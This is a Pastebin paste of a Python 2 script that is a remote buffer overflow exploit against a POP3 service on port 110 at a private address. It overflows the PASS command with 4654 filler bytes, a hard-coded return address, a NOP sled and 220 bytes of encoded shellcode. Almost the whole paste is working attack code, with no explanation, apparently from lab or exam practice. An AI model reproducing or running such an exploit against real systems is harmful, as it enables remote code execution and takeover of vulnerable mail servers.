Advertisement
Guest User

4

a guest
Jul 4th, 2015
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.45 KB | None | 0 0
  1. import struct
  2. import socket
  3.  
  4. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5.  
  6. ret = "\x8F\x35\x4a\x5f" #Address 5F4A358F
  7.  
  8. #Shellcode length 220 bytes
  9. shellcode = ("\xba\xf9\x13\xb5\xde\xda\xd0\xd9\x74\x24\xf4\x5d\x29\xc9" +
  10. "\xb1\x31\x31\x55\x13\x83\xed\xfc\x03\x55\xf6\xf1\x40\x22" +
  11. "\xe0\x74\xaa\xdb\xf0\x18\x22\x3e\xc1\x18\x50\x4a\x71\xa9" +
  12. "\x12\x1e\x7d\x42\x76\x8b\xf6\x26\x5f\xbc\xbf\x8d\xb9\xf3" +
  13. "\x40\xbd\xfa\x92\xc2\xbc\x2e\x75\xfb\x0e\x23\x74\x3c\x72" +
  14. "\xce\x24\x95\xf8\x7d\xd9\x92\xb5\xbd\x52\xe8\x58\xc6\x87" +
  15. "\xb8\x5b\xe7\x19\xb3\x05\x27\x9b\x10\x3e\x6e\x83\x75\x7b" +
  16. "\x38\x38\x4d\xf7\xbb\xe8\x9c\xf8\x10\xd5\x11\x0b\x68\x11" +
  17. "\x95\xf4\x1f\x6b\xe6\x89\x27\xa8\x95\x55\xad\x2b\x3d\x1d" +
  18. "\x15\x90\xbc\xf2\xc0\x53\xb2\xbf\x87\x3c\xd6\x3e\x4b\x37" +
  19. "\xe2\xcb\x6a\x98\x63\x8f\x48\x3c\x28\x4b\xf0\x65\x94\x3a" +
  20. "\x0d\x75\x77\xe2\xab\xfd\x95\xf7\xc1\x5f\xf3\x06\x57\xda" +
  21. "\xb1\x09\x67\xe5\xe5\x61\x56\x6e\x6a\xf5\x67\xa5\xcf\x09" +
  22. "\x22\xe4\x79\x82\xeb\x7c\x38\xcf\x0b\xab\x7e\xf6\x8f\x5e" +
  23. "\xfe\x0d\x8f\x2a\xfb\x4a\x17\xc6\x71\xc2\xf2\xe8\x26\xe3" +
  24. "\xd6\x8a\xa9\x77\xba\x62\x4c\xf0\x59\x7b")
  25.  
  26. buffer = ("A" * 4654) + ret + ("\x90" * 10) + shellcode + ("\x90" * (5000 - 4654 - 4 - 40 - 220))
  27.  
  28. try:
  29.     s.connect(('192.168.0.18',110))
  30.     data = s.recv(1024)
  31.     s.send('USER username' +'\r\n')
  32.     data = s.recv(1024)
  33.     s.send('PASS ' + buffer + '\r\n')
  34.     data = s.recv(1024)
  35.     s.close()
  36. except:
  37.     print "Unable to connect"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement